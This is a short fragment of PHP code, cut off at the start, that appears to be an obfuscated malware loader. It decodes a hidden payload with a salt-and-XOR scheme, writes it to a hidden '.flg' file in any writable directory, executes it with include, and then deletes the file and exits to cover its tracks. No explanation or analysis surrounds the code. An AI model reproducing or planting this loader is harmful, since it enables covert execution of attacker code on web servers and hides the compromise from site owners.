$val) { $sChar = ord($salt[$i % $lenS]); $dec = ((int)$val - $sChar - ($i % 10)) ^ 89; $ent .= chr($dec); } foreach ($ptr as $key => $flag) { if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $desc = implode("/", [$flag, ".flg"]); $binding = fopen($desc, 'w'); if ($binding) { fwrite($binding, $ent); fclose($binding); include $desc; @unlink($desc); exit; } } } }